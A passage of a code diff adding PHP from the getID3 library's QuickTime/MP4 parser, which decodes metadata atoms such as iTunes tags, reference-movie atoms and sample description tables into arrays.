+			case "\xA9".'ed9':
+			case "\xA9".'enc':
+			case "\xA9".'fmt':
+			case "\xA9".'gen': // GENre
+			case "\xA9".'grp': // GRouPing
+			case "\xA9".'hst':
+			case "\xA9".'inf':
+			case "\xA9".'lyr': // LYRics
+			case "\xA9".'mak':
+			case "\xA9".'mod':
+			case "\xA9".'nam': // full NAMe
+			case "\xA9".'ope':
+			case "\xA9".'PRD':
+			case "\xA9".'prd':
+			case "\xA9".'prf':
+			case "\xA9".'req':
+			case "\xA9".'src':
+			case "\xA9".'swr':
+			case "\xA9".'too': // encoder
+			case "\xA9".'trk': // TRacK
+			case "\xA9".'url':
+			case "\xA9".'wrn':
+			case "\xA9".'wrt': // WRiTer
+			case '----': // itunes specific
+				if ($atom_parent == 'udta') {
+					// User data atom handler
+					$atom_structure['data_length'] = getid3_lib::BigEndian2Int(substr($atom_data, 0, 2));
+					$atom_structure['language_id'] = getid3_lib::BigEndian2Int(substr($atom_data, 2, 2));
+					$atom_structure['data']        =                           substr($atom_data, 4);
+
+					$atom_structure['language']    = $this->QuicktimeLanguageLookup($atom_structure['language_id']);
+					if (empty($info['comments']['language']) || (!in_array($atom_structure['language'], $info['comments']['language']))) {
+						$info['comments']['language'][] = $atom_structure['language'];
+					}
+				} else {
+					// Apple item list box atom handler
+					$atomoffset = 0;
+					if (substr($atom_data, 2, 2) == "\x10\xB5") {
+						// not sure what it means, but observed on iPhone4 data.
+						// Each $atom_data has 2 bytes of datasize, plus 0x10B5, then data
+						while ($atomoffset < strlen($atom_data)) {
+							$boxsmallsize = getid3_lib::BigEndian2Int(substr($atom_data, $atomoffset,     2));
+							$boxsmalltype =                           substr($atom_data, $atomoffset + 2, 2);
+							$boxsmalldata =                           substr($atom_data, $atomoffset + 4, $boxsmallsize);
+							if ($boxsmallsize <= 1) {
+								$info['warning'][] = 'Invalid QuickTime atom smallbox size "'.$boxsmallsize.'" in atom "'.preg_replace('#[^a-zA-Z0-9 _\\-]#', '?', $atomname).'" at offset: '.($atom_structure['offset'] + $atomoffset);
+								$atom_structure['data'] = null;
+								$atomoffset = strlen($atom_data);
+								break;
+							}
+							switch ($boxsmalltype) {
+								case "\x10\xB5":
+									$atom_structure['data'] = $boxsmalldata;
+									break;
+								default:
+									$info['warning'][] = 'Unknown QuickTime smallbox type: "'.preg_replace('#[^a-zA-Z0-9 _\\-]#', '?', $boxsmalltype).'" ('.trim(getid3_lib::PrintHexBytes($boxsmalltype)).') at offset '.$baseoffset;
+									$atom_structure['data'] = $atom_data;
+									break;
+							}
+							$atomoffset += (4 + $boxsmallsize);
+						}
+					} else {
+						while ($atomoffset < strlen($atom_data)) {
+							$boxsize = getid3_lib::BigEndian2Int(substr($atom_data, $atomoffset, 4));
+							$boxtype =                           substr($atom_data, $atomoffset + 4, 4);
+							$boxdata =                           substr($atom_data, $atomoffset + 8, $boxsize - 8);
+							if ($boxsize <= 1) {
+								$info['warning'][] = 'Invalid QuickTime atom box size "'.$boxsize.'" in atom "'.preg_replace('#[^a-zA-Z0-9 _\\-]#', '?', $atomname).'" at offset: '.($atom_structure['offset'] + $atomoffset);
+								$atom_structure['data'] = null;
+								$atomoffset = strlen($atom_data);
+								break;
+							}
+							$atomoffset += $boxsize;
+
+							switch ($boxtype) {
+								case 'mean':
+								case 'name':
+									$atom_structure[$boxtype] = substr($boxdata, 4);
+									break;
+
+								case 'data':
+									$atom_structure['version']   = getid3_lib::BigEndian2Int(substr($boxdata,  0, 1));
+									$atom_structure['flags_raw'] = getid3_lib::BigEndian2Int(substr($boxdata,  1, 3));
+									switch ($atom_structure['flags_raw']) {
+										case  0: // data flag
+										case 21: // tmpo/cpil flag
+											switch ($atomname) {
+												case 'cpil':
+												case 'pcst':
+												case 'pgap':
+													$atom_structure['data'] = getid3_lib::BigEndian2Int(substr($boxdata, 8, 1));
+													break;
+
+												case 'tmpo':
+													$atom_structure['data'] = getid3_lib::BigEndian2Int(substr($boxdata, 8, 2));
+													break;
+
+												case 'disk':
+												case 'trkn':
+													$num       = getid3_lib::BigEndian2Int(substr($boxdata, 10, 2));
+													$num_total = getid3_lib::BigEndian2Int(substr($boxdata, 12, 2));
+													$atom_structure['data']  = empty($num) ? '' : $num;
+													$atom_structure['data'] .= empty($num_total) ? '' : '/'.$num_total;
+													break;
+
+												case 'gnre':
+													$GenreID = getid3_lib::BigEndian2Int(substr($boxdata, 8, 4));
+													$atom_structure['data']    = getid3_id3v1::LookupGenreName($GenreID - 1);
+													break;
+
+												case 'rtng':
+													$atom_structure[$atomname] = getid3_lib::BigEndian2Int(substr($boxdata, 8, 1));
+													$atom_structure['data']    = $this->QuicktimeContentRatingLookup($atom_structure[$atomname]);
+													break;
+
+												case 'stik':
+													$atom_structure[$atomname] = getid3_lib::BigEndian2Int(substr($boxdata, 8, 1));
+													$atom_structure['data']    = $this->QuicktimeSTIKLookup($atom_structure[$atomname]);
+													break;
+
+												case 'sfID':
+													$atom_structure[$atomname] = getid3_lib::BigEndian2Int(substr($boxdata, 8, 4));
+													$atom_structure['data']    = $this->QuicktimeStoreFrontCodeLookup($atom_structure[$atomname]);
+													break;
+
+												case 'egid':
+												case 'purl':
+													$atom_structure['data'] = substr($boxdata, 8);
+													break;
+
+												default:
+													$atom_structure['data'] = getid3_lib::BigEndian2Int(substr($boxdata, 8, 4));
+											}
+											break;
+
+										case  1: // text flag
+										case 13: // image flag
+										default:
+											$atom_structure['data'] = substr($boxdata, 8);
+											if ($atomname == 'covr') {
+												// not a foolproof check, but better than nothing
+												if (preg_match('#^\xFF\xD8\xFF#', $atom_structure['data'])) {
+													$atom_structure['image_mime'] = 'image/jpeg';
+												} elseif (preg_match('#^\x89\x50\x4E\x47\x0D\x0A\x1A\x0A#', $atom_structure['data'])) {
+													$atom_structure['image_mime'] = 'image/png';
+												} elseif (preg_match('#^GIF#', $atom_structure['data'])) {
+													$atom_structure['image_mime'] = 'image/gif';
+												}
+											}
+											break;
+
+									}
+									break;
+
+								default:
+									$info['warning'][] = 'Unknown QuickTime box type: "'.preg_replace('#[^a-zA-Z0-9 _\\-]#', '?', $boxtype).'" ('.trim(getid3_lib::PrintHexBytes($boxtype)).') at offset '.$baseoffset;
+									$atom_structure['data'] = $atom_data;
+
+							}
+						}
+					}
+				}
+				$this->CopyToAppropriateCommentsSection($atomname, $atom_structure['data'], $atom_structure['name']);
+				break;
+
+
+			case 'play': // auto-PLAY atom
+				$atom_structure['autoplay'] = (bool) getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
+
+				$info['quicktime']['autoplay'] = $atom_structure['autoplay'];
+				break;
+
+
+			case 'WLOC': // Window LOCation atom
+				$atom_structure['location_x']  = getid3_lib::BigEndian2Int(substr($atom_data,  0, 2));
+				$atom_structure['location_y']  = getid3_lib::BigEndian2Int(substr($atom_data,  2, 2));
+				break;
+
+
+			case 'LOOP': // LOOPing atom
+			case 'SelO': // play SELection Only atom
+			case 'AllF': // play ALL Frames atom
+				$atom_structure['data'] = getid3_lib::BigEndian2Int($atom_data);
+				break;
+
+
+			case 'name': //
+			case 'MCPS': // Media Cleaner PRo
+			case '@PRM': // adobe PReMiere version
+			case '@PRQ': // adobe PRemiere Quicktime version
+				$atom_structure['data'] = $atom_data;
+				break;
+
+
+			case 'cmvd': // Compressed MooV Data atom
+				// Code by ubergeekØubergeek*tv based on information from
+				// http://developer.apple.com/quicktime/icefloe/dispatch012.html
+				$atom_structure['unCompressedSize'] = getid3_lib::BigEndian2Int(substr($atom_data, 0, 4));
+
+				$CompressedFileData = substr($atom_data, 4);
+				if ($UncompressedHeader = @gzuncompress($CompressedFileData)) {
+					$atom_structure['subatoms'] = $this->QuicktimeParseContainerAtom($UncompressedHeader, 0, $atomHierarchy, $ParseAllPossibleAtoms);
+				} else {
+					$info['warning'][] = 'Error decompressing compressed MOV atom at offset '.$atom_structure['offset'];
+				}
+				break;
+
+
+			case 'dcom': // Data COMpression atom
+				$atom_structure['compression_id']   = $atom_data;
+				$atom_structure['compression_text'] = $this->QuicktimeDCOMLookup($atom_data);
+				break;
+
+
+			case 'rdrf': // Reference movie Data ReFerence atom
+				$atom_structure['version']                = getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
+				$atom_structure['flags_raw']              = getid3_lib::BigEndian2Int(substr($atom_data,  1, 3));
+				$atom_structure['flags']['internal_data'] = (bool) ($atom_structure['flags_raw'] & 0x000001);
+
+				$atom_structure['reference_type_name']    =                           substr($atom_data,  4, 4);
+				$atom_structure['reference_length']       = getid3_lib::BigEndian2Int(substr($atom_data,  8, 4));
+				switch ($atom_structure['reference_type_name']) {
+					case 'url ':
+						$atom_structure['url']            =       $this->NoNullString(substr($atom_data, 12));
+						break;
+
+					case 'alis':
+						$atom_structure['file_alias']     =                           substr($atom_data, 12);
+						break;
+
+					case 'rsrc':
+						$atom_structure['resource_alias'] =                           substr($atom_data, 12);
+						break;
+
+					default:
+						$atom_structure['data']           =                           substr($atom_data, 12);
+						break;
+				}
+				break;
+
+
+			case 'rmqu': // Reference Movie QUality atom
+				$atom_structure['movie_quality'] = getid3_lib::BigEndian2Int($atom_data);
+				break;
+
+
+			case 'rmcs': // Reference Movie Cpu Speed atom
+				$atom_structure['version']          = getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
+				$atom_structure['flags_raw']        = getid3_lib::BigEndian2Int(substr($atom_data,  1, 3)); // hardcoded: 0x0000
+				$atom_structure['cpu_speed_rating'] = getid3_lib::BigEndian2Int(substr($atom_data,  4, 2));
+				break;
+
+
+			case 'rmvc': // Reference Movie Version Check atom
+				$atom_structure['version']            = getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
+				$atom_structure['flags_raw']          = getid3_lib::BigEndian2Int(substr($atom_data,  1, 3)); // hardcoded: 0x0000
+				$atom_structure['gestalt_selector']   =                           substr($atom_data,  4, 4);
+				$atom_structure['gestalt_value_mask'] = getid3_lib::BigEndian2Int(substr($atom_data,  8, 4));
+				$atom_structure['gestalt_value']      = getid3_lib::BigEndian2Int(substr($atom_data, 12, 4));
+				$atom_structure['gestalt_check_type'] = getid3_lib::BigEndian2Int(substr($atom_data, 14, 2));
+				break;
+
+
+			case 'rmcd': // Reference Movie Component check atom
+				$atom_structure['version']                = getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
+				$atom_structure['flags_raw']              = getid3_lib::BigEndian2Int(substr($atom_data,  1, 3)); // hardcoded: 0x0000
+				$atom_structure['component_type']         =                           substr($atom_data,  4, 4);
+				$atom_structure['component_subtype']      =                           substr($atom_data,  8, 4);
+				$atom_structure['component_manufacturer'] =                           substr($atom_data, 12, 4);
+				$atom_structure['component_flags_raw']    = getid3_lib::BigEndian2Int(substr($atom_data, 16, 4));
+				$atom_structure['component_flags_mask']   = getid3_lib::BigEndian2Int(substr($atom_data, 20, 4));
+				$atom_structure['component_min_version']  = getid3_lib::BigEndian2Int(substr($atom_data, 24, 4));
+				break;
+
+
+			case 'rmdr': // Reference Movie Data Rate atom
+				$atom_structure['version']       = getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
+				$atom_structure['flags_raw']     = getid3_lib::BigEndian2Int(substr($atom_data,  1, 3)); // hardcoded: 0x0000
+				$atom_structure['data_rate']     = getid3_lib::BigEndian2Int(substr($atom_data,  4, 4));
+
+				$atom_structure['data_rate_bps'] = $atom_structure['data_rate'] * 10;
+				break;
+
+
+			case 'rmla': // Reference Movie Language Atom
+				$atom_structure['version']     = getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
+				$atom_structure['flags_raw']   = getid3_lib::BigEndian2Int(substr($atom_data,  1, 3)); // hardcoded: 0x0000
+				$atom_structure['language_id'] = getid3_lib::BigEndian2Int(substr($atom_data,  4, 2));
+
+				$atom_structure['language']    = $this->QuicktimeLanguageLookup($atom_structure['language_id']);
+				if (empty($info['comments']['language']) || (!in_array($atom_structure['language'], $info['comments']['language']))) {
+					$info['comments']['language'][] = $atom_structure['language'];
+				}
+				break;
+
+
+			case 'rmla': // Reference Movie Language Atom
+				$atom_structure['version']   = getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
+				$atom_structure['flags_raw'] = getid3_lib::BigEndian2Int(substr($atom_data,  1, 3)); // hardcoded: 0x0000
+				$atom_structure['track_id']  = getid3_lib::BigEndian2Int(substr($atom_data,  4, 2));
+				break;
+
+
+			case 'ptv ': // Print To Video - defines a movie's full screen mode
+				// http://developer.apple.com/documentation/QuickTime/APIREF/SOURCESIV/at_ptv-_pg.htm
+				$atom_structure['display_size_raw']  = getid3_lib::BigEndian2Int(substr($atom_data, 0, 2));
+				$atom_structure['reserved_1']        = getid3_lib::BigEndian2Int(substr($atom_data, 2, 2)); // hardcoded: 0x0000
+				$atom_structure['reserved_2']        = getid3_lib::BigEndian2Int(substr($atom_data, 4, 2)); // hardcoded: 0x0000
+				$atom_structure['slide_show_flag']   = getid3_lib::BigEndian2Int(substr($atom_data, 6, 1));
+				$atom_structure['play_on_open_flag'] = getid3_lib::BigEndian2Int(substr($atom_data, 7, 1));
+
+				$atom_structure['flags']['play_on_open'] = (bool) $atom_structure['play_on_open_flag'];
+				$atom_structure['flags']['slide_show']   = (bool) $atom_structure['slide_show_flag'];
+
+				$ptv_lookup[0] = 'normal';
+				$ptv_lookup[1] = 'double';
+				$ptv_lookup[2] = 'half';
+				$ptv_lookup[3] = 'full';
+				$ptv_lookup[4] = 'current';
+				if (isset($ptv_lookup[$atom_structure['display_size_raw']])) {
+					$atom_structure['display_size'] = $ptv_lookup[$atom_structure['display_size_raw']];
+				} else {
+					$info['warning'][] = 'unknown "ptv " display constant ('.$atom_structure['display_size_raw'].')';
+				}
+				break;
+
+
+			case 'stsd': // Sample Table Sample Description atom
+				$atom_structure['version']        = getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
+				$atom_structure['flags_raw']      = getid3_lib::BigEndian2Int(substr($atom_data,  1, 3)); // hardcoded: 0x0000
+				$atom_structure['number_entries'] = getid3_lib::BigEndian2Int(substr($atom_data,  4, 4));
+				$stsdEntriesDataOffset = 8;
+				for ($i = 0; $i < $atom_structure['number_entries']; $i++) {
+					$atom_structure['sample_description_table'][$i]['size']             = getid3_lib::BigEndian2Int(substr($atom_data, $stsdEntriesDataOffset, 4));
+					$stsdEntriesDataOffset += 4;
+					$atom_structure['sample_description_table'][$i]['data_format']      =                           substr($atom_data, $stsdEntriesDataOffset, 4);
+					$stsdEntriesDataOffset += 4;
+					$atom_structure['sample_description_table'][$i]['reserved']         = getid3_lib::BigEndian2Int(substr($atom_data, $stsdEntriesDataOffset, 6));
+					$stsdEntriesDataOffset += 6;
+					$atom_structure['sample_description_table'][$i]['reference_index']  = getid3_lib::BigEndian2Int(substr($atom_data, $stsdEntriesDataOffset, 2));
+					$stsdEntriesDataOffset += 2;
+					$atom_structure['sample_description_table'][$i]['data']             =                           substr($atom_data, $stsdEntriesDataOffset, ($atom_structure['sample_description_table'][$i]['size'] - 4 - 4 - 6 - 2));
+					$stsdEntriesDataOffset += ($atom_structure['sample_description_table'][$i]['size'] - 4 - 4 - 6 - 2);
+
+					$atom_structure['sample_description_table'][$i]['encoder_version']  = getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'],  0, 2));
+					$atom_structure['sample_description_table'][$i]['encoder_revision'] = getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'],  2, 2));
+					$atom_structure['sample_description_table'][$i]['encoder_vendor']   =                           substr($atom_structure['sample_description_table'][$i]['data'],  4, 4);
+
+					switch ($atom_structure['sample_description_table'][$i]['encoder_vendor']) {
+
+						case "\x00\x00\x00\x00":
+							// audio tracks
+							$atom_structure['sample_description_table'][$i]['audio_channels']       =   getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'],  8,  2));
+							$atom_structure['sample_description_table'][$i]['audio_bit_depth']      =   getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'], 10,  2));
+							$atom_structure['sample_description_table'][$i]['audio_compression_id'] =   getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'], 12,  2));
+							$atom_structure['sample_description_table'][$i]['audio_packet_size']    =   getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'], 14,  2));
+							$atom_structure['sample_description_table'][$i]['audio_sample_rate']    = getid3_lib::FixedPoint16_16(substr($atom_structure['sample_description_table'][$i]['data'], 16,  4));
+
+							// video tracks
+							// http://developer.apple.com/library/mac/#documentation/QuickTime/QTFF/QTFFChap3/qtff3.html
+							$atom_structure['sample_description_table'][$i]['temporal_quality'] =   getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'],  8,  4));
+							$atom_structure['sample_description_table'][$i]['spatial_quality']  =   getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'], 12,  4));
+							$atom_structure['sample_description_table'][$i]['width']            =   getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'], 16,  2));
+							$atom_structure['sample_description_table'][$i]['height']           =   getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'], 18,  2));
+							$atom_structure['sample_description_table'][$i]['resolution_x']     = getid3_lib::FixedPoint16_16(substr($atom_structure['sample_description_table'][$i]['data'], 24,  4));
+							$atom_structure['sample_description_table'][$i]['resolution_y']     = getid3_lib::FixedPoint16_16(substr($atom_structure['sample_description_table'][$i]['data'], 28,  4));
+							$atom_structure['sample_description_table'][$i]['data_size']        =   getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'], 32,  4));
+							$atom_structure['sample_description_table'][$i]['frame_count']      =   getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'], 36,  2));
+							$atom_structure['sample_description_table'][$i]['compressor_name']  =                             substr($atom_structure['sample_description_table'][$i]['data'], 38,  4);
+							$atom_structure['sample_description_table'][$i]['pixel_depth']      =   getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'], 42,  2));
+							$atom_structure['sample_description_table'][$i]['color_table_id']   =   getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'], 44,  2));
+
+							switch ($atom_structure['sample_description_table'][$i]['data_format']) {
+								case '2vuY':
+								case 'avc1':
+								case 'cvid':
+								case 'dvc ':
+								case 'dvcp':
+								case 'gif ':
+								case 'h263':
+								case 'jpeg':
+								case 'kpcd':
+								case 'mjpa':
+								case 'mjpb':
+								case 'mp4v':
+								case 'png ':
+								case 'raw ':
+								case 'rle ':
+								case 'rpza':
+								case 'smc ':
+								case 'SVQ1':
+								case 'SVQ3':
+								case 'tiff':
+								case 'v210':
+								case 'v216':
+								case 'v308':
+								case 'v408':
+								case 'v410':
+								case 'yuv2':
+									$info['fileformat'] = 'mp4';
+									$info['video']['fourcc'] = $atom_structure['sample_description_table'][$i]['data_format'];
+// http://www.getid3.org/phpBB3/viewtopic.php?t=1550
+//if ((!empty($atom_structure['sample_description_table'][$i]['width']) && !empty($atom_structure['sample_description_table'][$i]['width'])) && (empty($info['video']['resolution_x']) || empty($info['video']['resolution_y']) || (number_format($info['video']['resolution_x'], 6) != number_format(round($info['video']['resolution_x']), 6)) || (number_format($info['video']['resolution_y'], 6) != number_format(round($info['video']['resolution_y']), 6)))) { // ugly check for floating point numbers
+if (!empty($atom_structure['sample_description_table'][$i]['width']) && !empty($atom_structure['sample_description_table'][$i]['height'])) {
+	// assume that values stored here are more important than values stored in [tkhd] atom
+	$info['video']['resolution_x'] = $atom_structure['sample_description_table'][$i]['width'];
+	$info['video']['resolution_y'] = $atom_structure['sample_description_table'][$i]['height'];
+	$info['quicktime']['video']['resolution_x'] = $info['video']['resolution_x'];
+	$info['quicktime']['video']['resolution_y'] = $info['video']['resolution_y'];
+}
+									break;
+
+								case 'qtvr':
+									$info['video']['dataformat'] = 'quicktimevr';
+									break;
+
+								case 'mp4a':
+								default:
+									$info['quicktime']['audio']['codec']       = $this->QuicktimeAudioCodecLookup($atom_structure['sample_description_table'][$i]['data_format']);
+									$info['quicktime']['audio']['sample_rate'] = $atom_structure['sample_description_table'][$i]['audio_sample_rate'];
+									$info['quicktime']['audio']['channels']    = $atom_structure['sample_description_table'][$i]['audio_channels'];
+									$info['quicktime']['audio']['bit_depth']   = $atom_structure['sample_description_table'][$i]['audio_bit_depth'];
+									$info['audio']['codec']                    = $info['quicktime']['audio']['codec'];
+									$info['audio']['sample_rate']              = $info['quicktime']['audio']['sample_rate'];
+									$info['audio']['channels']                 = $info['quicktime']['audio']['channels'];
+									$info['audio']['bits_per_sample']          = $info['quicktime']['audio']['bit_depth'];
+									switch ($atom_structure['sample_description_table'][$i]['data_format']) {
+										case 'raw ': // PCM
+										case 'alac': // Apple Lossless Audio Codec
+											$info['audio']['lossless'] = true;
+											break;
+										default:
+											$info['audio']['lossless'] = false;
+											break;
+									}
+									break;
+							}
+							break;
+
+						default:
+							switch ($atom_structure['sample_description_table'][$i]['data_format']) {
+								case 'mp4s':
+									$info['fileformat'] = 'mp4';
+									break;
+
+								default:
+									// video atom
+									$atom_structure['sample_description_table'][$i]['video_temporal_quality']  =   getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'],  8,  4));
+									$atom_structure['sample_description_table'][$i]['video_spatial_quality']   =   getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'], 12,  4));
+									$atom_structure['sample_description_table'][$i]['video_frame_width']       =   getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'], 16,  2));
+									$atom_structure['sample_description_table'][$i]['video_frame_height']      =   getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'], 18,  2));
+									$atom_structure['sample_description_table'][$i]['video_resolution_x']      = getid3_lib::FixedPoint16_16(substr($atom_structure['sample_description_table'][$i]['data'], 20,  4));
+									$atom_structure['sample_description_table'][$i]['video_resolution_y']      = getid3_lib::FixedPoint16_16(substr($atom_structure['sample_description_table'][$i]['data'], 24,  4));
+									$atom_structure['sample_description_table'][$i]['video_data_size']         =   getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'], 28,  4));
+									$atom_structure['sample_description_table'][$i]['video_frame_count']       =   getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'], 32,  2));
+									$atom_structure['sample_description_table'][$i]['video_encoder_name_len']  =   getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'], 34,  1));
+									$atom_structure['sample_description_table'][$i]['video_encoder_name']      =                             substr($atom_structure['sample_description_table'][$i]['data'], 35, $atom_structure['sample_description_table'][$i]['video_encoder_name_len']);
+									$atom_structure['sample_description_table'][$i]['video_pixel_color_depth'] =   getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'], 66,  2));
+									$atom_structure['sample_description_table'][$i]['video_color_table_id']    =   getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'], 68,  2));
+
+									$atom_structure['sample_description_table'][$i]['video_pixel_color_type']  = (($atom_structure['sample_description_table'][$i]['video_pixel_color_depth'] > 32) ? 'grayscale' : 'color');
+									$atom_structure['sample_description_table'][$i]['video_pixel_color_name']  = $this->QuicktimeColorNameLookup($atom_structure['sample_description_table'][$i]['video_pixel_color_depth']);
+
+									if ($atom_structure['sample_description_table'][$i]['video_pixel_color_name'] != 'invalid') {
+										$info['quicktime']['video']['codec_fourcc']        = $atom_structure['sample_description_table'][$i]['data_format'];
+										$info['quicktime']['video']['codec_fourcc_lookup'] = $this->QuicktimeVideoCodecLookup($atom_structure['sample_description_table'][$i]['data_format']);
+										$info['quicktime']['video']['codec']               = (($atom_structure['sample_description_table'][$i]['video_encoder_name_len'] > 0) ? $atom_structure['sample_description_table'][$i]['video_encoder_name'] : $atom_structure['sample_description_table'][$i]['data_format']);
+										$info['quicktime']['video']['color_depth']         = $atom_structure['sample_description_table'][$i]['video_pixel_color_depth'];
+										$info['quicktime']['video']['color_depth_name']    = $atom_structure['sample_description_table'][$i]['video_pixel_color_name'];
+
+										$info['video']['codec']           = $info['quicktime']['video']['codec'];
+										$info['video']['bits_per_sample'] = $info['quicktime']['video']['color_depth'];
+									}
+									$info['video']['lossless']           = false;
+									$info['video']['pixel_aspect_ratio'] = (float) 1;
+									break;
+							}
+							break;
+					}
+					switch (strtolower($atom_structure['sample_description_table'][$i]['data_format'])) {
+						case 'mp4a':
+							$info['audio']['dataformat']         = 'mp4';
+							$info['quicktime']['audio']['codec'] = 'mp4';
+							break;
+
+						case '3ivx':
+						case '3iv1':
+						case '3iv2':
+							$info['video']['dataformat'] = '3ivx';
+							break;
+
+						case 'xvid':
+							$info['video']['dataformat'] = 'xvid';
+							break;
+
+						case 'mp4v':
+							$info['video']['dataformat'] = 'mpeg4';
+							break;
+
+						case 'divx':
+						case 'div1':
+						case 'div2':
+						case 'div3':
+						case 'div4':
+						case 'div5':
+						case 'div6':
+							$info['video']['dataformat'] = 'divx';
+							break;
+
+						default:
+							// do nothing
+							break;
+					}
+					unset($atom_structure['sample_description_table'][$i]['data']);
+				}
+				break;
+
+
+			case 'stts': // Sample Table Time-to-Sample atom
+				$atom_structure['version']        = getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
+				$atom_structure['flags_raw']      = getid3_lib::BigEndian2Int(substr($atom_data,  1, 3)); // hardcoded: 0x0000
+				$atom_structure['number_entries'] = getid3_lib::BigEndian2Int(substr($atom_data,  4, 4));
+				$sttsEntriesDataOffset = 8;
+				//$FrameRateCalculatorArray = array();
+				$frames_count = 0;
+
+				$max_stts_entries_to_scan = min(floor($this->getid3->memory_limit / 10000), $atom_structure['number_entries']);
+				if ($max_stts_entries_to_scan < $atom_structure['number_entries']) {
+					$info['warning'][] = 'QuickTime atom "stts" has '.$atom_structure['number_entries'].' but only scanning the first '.$max_stts_entries_to_scan.' entries due to limited PHP memory available ('.floor($this->getid3->memory_limit / 1048576).'MB).';
+				}
+				for ($i = 0; $i < $max_stts_entries_to_scan; $i++) {
+					$atom_structure['time_to_sample_table'][$i]['sample_count']    = getid3_lib::BigEndian2Int(substr($atom_data, $sttsEntriesDataOffset, 4));
+					$sttsEntriesDataOffset += 4;
+					$atom_structure['time_to_sample_table'][$i]['sample_duration'] = getid3_lib::BigEndian2Int(substr($atom_data, $sttsEntriesDataOffset, 4));
+					$sttsEntriesDataOffset += 4;
+
+					$frames_count += $atom_structure['time_to_sample_table'][$i]['sample_count'];
+
+					// THIS SECTION REPLACED WITH CODE IN "stbl" ATOM
+					//if (!empty($info['quicktime']['time_scale']) && ($atom_structure['time_to_sample_table'][$i]['sample_duration'] > 0)) {
+					//	$stts_new_framerate = $info['quicktime']['time_scale'] / $atom_structure['time_to_sample_table'][$i]['sample_duration'];
+					//	if ($stts_new_framerate <= 60) {
+					//		// some atoms have durations of "1" giving a very large framerate, which probably is not right
+					//		$info['video']['frame_rate'] = max($info['video']['frame_rate'], $stts_new_framerate);
+					//	}
+					//}
+					//
+					//$FrameRateCalculatorArray[($info['quicktime']['time_scale'] / $atom_structure['time_to_sample_table'][$i]['sample_duration'])] += $atom_structure['time_to_sample_table'][$i]['sample_count'];
+				}
+				$info['quicktime']['stts_framecount'][] = $frames_count;
+				//$sttsFramesTotal  = 0;
+				//$sttsSecondsTotal = 0;
+				//foreach ($FrameRateCalculatorArray as $frames_per_second => $frame_count) {
+				//	if (($frames_per_second > 60) || ($frames_per_second < 1)) {
+				//		// not video FPS information, probably audio information
+				//		$sttsFramesTotal  = 0;
+				//		$sttsSecondsTotal = 0;
+				//		break;
+				//	}
+				//	$sttsFramesTotal  += $frame_count;
+				//	$sttsSecondsTotal += $frame_count / $frames_per_second;
+				//}
+				//if (($sttsFramesTotal > 0) && ($sttsSecondsTotal > 0)) {
+				//	if (($sttsFramesTotal / $sttsSecondsTotal) > $info['video']['frame_rate']) {
+				//		$info['video']['frame_rate'] = $sttsFramesTotal / $sttsSecondsTotal;
+				//	}
+				//}
+				break;
+
+
+			case 'stss': // Sample Table Sync Sample (key frames) atom
+				if ($ParseAllPossibleAtoms) {
+					$atom_structure['version']        = getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
+					$atom_structure['flags_raw']      = getid3_lib::BigEndian2Int(substr($atom_data,  1, 3)); // hardcoded: 0x0000
+					$atom_structure['number_entries'] = getid3_lib::BigEndian2Int(substr($atom_data,  4, 4));
+					$stssEntriesDataOffset = 8;
+					for ($i = 0; $i < $atom_structure['number_entries']; $i++) {
+						$atom_structure['time_to_sample_table'][$i] = getid3_lib::BigEndian2Int(substr($atom_data, $stssEntriesDataOffset, 4));
+						$stssEntriesDataOffset += 4;
+					}
+				}
+				break;
+
+
+			case 'stsc': // Sample Table Sample-to-Chunk atom
+				if ($ParseAllPossibleAtoms) {
+					$atom_structure['version']        = getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
+					$atom_structure['flags_raw']      = getid3_lib::BigEndian2Int(substr($atom_data,  1, 3)); // hardcoded: 0x0000
+					$atom_structure['number_entries'] = getid3_lib::BigEndian2Int(substr($atom_data,  4, 4));
+					$stscEntriesDataOffset = 8;
+					for ($i = 0; $i < $atom_structure['number_entries']; $i++) {
+						$atom_structure['sample_to_chunk_table'][$i]['first_chunk']        = getid3_lib::BigEndian2Int(substr($atom_data, $stscEntriesDataOffset, 4));
+						$stscEntriesDataOffset += 4;
+						$atom_structure['sample_to_chunk_table'][$i]['samples_per_chunk']  = getid3_lib::BigEndian2Int(substr($atom_data, $stscEntriesDataOffset, 4));
+						$stscEntriesDataOffset += 4;
